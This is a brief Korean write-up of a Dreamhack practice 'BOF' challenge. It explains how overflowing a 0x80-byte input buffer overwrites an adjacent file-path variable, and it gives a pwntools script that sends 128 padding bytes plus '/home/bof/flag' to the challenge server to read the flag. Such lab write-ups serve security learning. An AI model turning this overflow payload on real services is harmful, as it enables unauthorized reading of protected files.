드림핵 BOF
ida 결과
디컴파일 결과
스택구조
var_90변수 즉 처음 입력 받는 부분 버퍼의 크기는 0x80의 크기를 가진다. 이후 입력하는 부분은 var_10을 덮어버리게 된다.
var_10의 경우 strcpy를 통해 ./cat 파일을 가져오기 떄문에 이 부분을 /home/bof/flag로 덮어버린다면 플래그값을 얻을 수 있다.
from pwn import *
p=remote('host3.dreamhack.games',10028)
payload='A'*128+'/home/bof/flag'
p.sendlineafter('meow?',payload)
data=p.recvuntil('}')
print(data)